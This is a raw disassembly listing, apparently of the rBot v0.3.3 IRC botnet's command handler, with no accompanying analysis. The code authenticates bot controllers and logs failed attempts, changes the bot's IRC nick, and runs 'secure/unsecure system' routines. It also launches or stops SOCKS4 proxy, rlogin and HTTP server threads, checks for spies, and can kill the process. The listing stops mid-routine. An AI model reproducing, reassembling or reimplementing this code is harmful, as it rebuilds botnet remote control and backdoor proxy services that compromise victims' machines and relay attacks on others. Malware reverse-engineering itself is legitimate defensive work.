lea eax, [ebp - 0x830]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:Pass_auth_failed___s__s_._r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:Your_attempt_has_been_logged._r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, dword [ebp - 0xec]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xe8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_Failed_pass_auth_by:___s__s_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
cmp eax, 1
ja 0x41847a
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax*4 + 0x43cf84]
mov edx, dword [ebp - 0xec]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0042bd70
test eax, eax
setne al
test al, al
je 0x418474
mov dword [ebp - 0x38], 1
jmp 0x41847a
add dword [ebp - 0x1c], 1
jmp 0x41843e
cmp dword [ebp - 0x38], 0
jne 0x418514
mov eax, dword [ebp - 0xec]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x830]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:Host_Auth_failed___s__s_._r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NOTICE__s_:Your_attempt_has_been_logged._r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
mov eax, dword [ebp - 0xec]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xe8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_Failed_host_auth_by:___s__s_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x4185f8
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
jne 0x418540
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
jne 0x4185ee
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x43cf14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4185ef
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add edx, eax
mov dword [esp + 8], 0x7f
lea eax, [ebp - 0x7fc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x4185d6
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._MAIN_:_Password_accepted.
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x830]
mov dword [esp + 4], eax
mov dword [esp], str._MAIN_:_User:__s_logged_in.
call fcn.00402c86
jmp 0x4185f8
nop
add dword [ebp - 0x1c], 1
jmp 0x41851b
mov eax, 1
jmp 0x423223
cmp dword [ebp + 0x30], 0
je 0x41861e
mov dword [esp + 4], 1
mov dword [esp], str.is_spy
call fcn.0040314b
jmp 0x418632
mov dword [esp + 4], 1
mov dword [esp], str.NOT_is_spy
call fcn.0040314b
cmp dword [ebp - 0x28], 0
jne 0x418656
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x44226a
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x423220
cmp dword [ebp + 0x30], 0
jne 0x423220
mov dword [ebp - 0x1c], 0
mov eax, dword [0x43d310]
cmp dword [ebp - 0x1c], eax
jge 0x4188d7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0xb8
add edx, 0x473060
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4188ce
mov dword [esp + 4], 0x44216a
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x4186c8
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x6c]
lea edx, [eax + 2]
movzx eax, byte [0x43cebc]
mov byte [edx], al
mov eax, dword [ebp - 0x6c]
lea edx, [eax + 3]
movzx eax, byte [0x43cebc]
mov byte [edx], al
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xb8
add eax, 0x10
add eax, 0x473060
lea edx, [eax + 8]
mov eax, dword [ebp - 0x6c]
add eax, 4
mov dword [esp + 8], 0x9f
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [ebp - 0x20], 0xf
cmp dword [ebp - 0x20], 0
jle 0x418841
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__d_
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4187d9
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x4187d9
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0xb8
add eax, 0x473060
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x418837
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x418837
mov eax, dword [ebp - 0x70]
mov dword [esp + 8], eax
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
jmp 0x418837
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
jne 0x418838
mov dword [esp + 8], 2
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6fb]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov byte [ebp - 0x6f9], 0
lea eax, [ebp - 0x6fb]
mov dword [esp + 8], eax
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
jmp 0x418838
nop
sub dword [ebp - 0x20], 1
jmp 0x41871b
mov dword [ebp - 0x20], 0x10
cmp dword [ebp - 0x20], 0
jle 0x4188c5
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x442529
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4188bf
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x4188bf
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
sub dword [ebp - 0x20], 1
jmp 0x418848
mov dword [ebp - 0x30], 1
jmp 0x4188d7
add dword [ebp - 0x1c], 1
jmp 0x418667
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
movzx edx, byte [eax]
movzx eax, byte [0x43cebc]
cmp dl, al
je 0x4188f9
cmp dword [ebp - 0x30], 0
je 0x418bc3
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x44252d
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._user
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], str._chan
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 2
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call fcn.004250d4
mov dword [esp + 8], eax
mov dword [esp + 4], str._rndnick
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
mov eax, dword [ebp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._server
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
mov dword [esp + 4], str._chr_
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x418b08
mov dword [esp + 4], str._chr_
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
add eax, 5
mov dword [esp + 8], 4
mov dword [esp + 4], eax
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 4], 0x442554
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
movzx eax, byte [ebp - 0x6f8]
cmp al, 0x2f
jle 0x418a21
movzx eax, byte [ebp - 0x6f8]
cmp al, 0x39
jle 0x418a30
lea eax, [ebp - 0x6f8]
mov word [eax], 0x3336
mov byte [eax + 2], 0
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
test eax, eax
setg al
test al, al
je 0x418a5d
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov byte [ebp - 0x6fb], al
jmp 0x418a8f
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 4
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 5
sub ecx, eax
mov edx, ecx
mov eax, edx
add eax, 0x20
mov byte [ebp - 0x6fb], al
mov byte [ebp - 0x6fa], 0
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x20], eax
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x20]
add eax, 6
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6f8]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
lea eax, [ebp - 0x6fb]
mov dword [esp + 8], eax
lea eax, [ebp - 0x6f8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040ee28
jmp 0x4189a4
mov dword [esp + 8], 0x1ff
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2ec]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 8], 0x1ff
lea eax, [ebp - 0x2ec]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4ec]
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov dword [esp + 4], 0x44216d
lea eax, [ebp - 0x4ec]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0x77c], eax
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1f
jg 0x418b94
mov dword [esp + 4], 0x44216d
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x77c], edx
add dword [ebp - 0x1c], 1
jmp 0x418b68
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
jne 0x418bac
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
lea edx, [eax + 3]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x77c], edx
mov dword [esp + 4], 0
mov dword [esp], str.Debug:
call fcn.0040314b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.0040314b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.rndnick
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418c2d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442566
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418cab
mov eax, dword [ebp - 0x24]
add eax, 1
mov edx, dword [ebp + eax*4 - 0x77c]
movzx eax, byte [ebp - 0x8c0]
test al, al
je 0x418c4c
mov ecx, 1
jmp 0x418c51
mov ecx, 0
mov eax, dword [0x43cec4]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call fcn.004250d4
lea eax, [ebp - 0x818]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NICK__s_r_n
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c364
lea eax, [ebp - 0x818]
mov dword [esp + 4], eax
mov dword [esp], str._MAIN_:_Random_nick_change:__s
call fcn.00402c86
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x44258b
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418ce7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x44258f
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418d1d
mov eax, dword [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x44226a
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x423220
call fcn.004031a3
call fcn.0042ac91
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.logout
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418d5d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442598
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418ee2
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x418e2a
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
js 0x418e0b
cmp dword [ebp - 0x1c], 2
jg 0x418e0b
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x418de9
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
add eax, 1
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_User__s_logged_out.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov byte [eax], 0
jmp 0x418e92
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_No_user_logged_in_at_slot:__d.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418e92
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_Invalid_login_slot_number:__d.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418e92
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x418e92
mov eax, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x1c]
mov ecx, edx
shl ecx, 7
mov edx, dword [ebp + 0x20]
add edx, ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418e8c
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_User__s_logged_out.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x418e92
add dword [ebp - 0x1c], 1
jmp 0x418e31
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x418eca
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.version
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x418f1e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x4425f3
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x418f8a
mov dword [esp + 8], str._rBot_v0.3.3_
mov dword [esp + 4], str._MAIN_:__s
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x418f74
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.secure
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419006
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442609
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419006
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.unsecure
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419006
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.unsec
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4191b6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.secure
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x419042
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442609
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419049
mov eax, 1
jmp 0x41904e
mov eax, 0
movzx eax, al
mov dword [ebp - 0xd14], eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xd0c], eax
mov eax, dword [ebp - 0xd14]
test eax, eax
je 0x4190ab
mov eax, str.Securing
jmp 0x4190b0
mov eax, str.Unsecuring
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._SECURE_:__s_system.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x18
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xd18], eax
mov ebx, dword [ebp - 0xd18]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x425470
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41917d
mov eax, dword [ebp - 0xd08]
test eax, eax
jne 0x41919e
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x419160
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._SECURE_:_Failed_to_start_secure_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.socks4
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4191f6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442685
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419401
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41923e
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
test eax, eax
je 0x419237
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
jmp 0x419243
mov eax, dword [0x43cea8]
jmp 0x419243
mov eax, dword [0x43cea8]
mov dword [ebp - 0xd08], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41928a
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10
lea eax, [ebp - 0xd9c]
add eax, 0x84
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x4192c5
movzx eax, byte [ebp - 0x8cf]
test al, al
je 0x4192be
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10
lea eax, [ebp - 0xd9c]
add eax, 0x84
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x4192c5
mov byte [ebp - 0xd18], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xcfc], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xcf8], eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov ebx, dword [ebp - 0xd08]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00414100
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x442688
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xd04], eax
mov ebx, dword [ebp - 0xd04]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x427394
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x4193e0
mov eax, dword [ebp - 0xcf4]
test eax, eax
jne 0x4193f7
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4193c3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str._SOCKS4_:_Failed_to_start_server_thread__error:___d_.
call fcn.00402c86
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.socks4stop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419478
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 0x10
mov dword [esp + 0x14], str.Server
mov dword [esp + 0x10], str._SOCKS4_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.rloginstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4194ef
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 5
mov dword [esp + 0x14], str.Server
mov dword [esp + 0x10], str._RLOGIND_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.httpstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x419566
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 3
mov dword [esp + 0x14], str.Server
mov dword [esp + 0x10], str._HTTPD_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
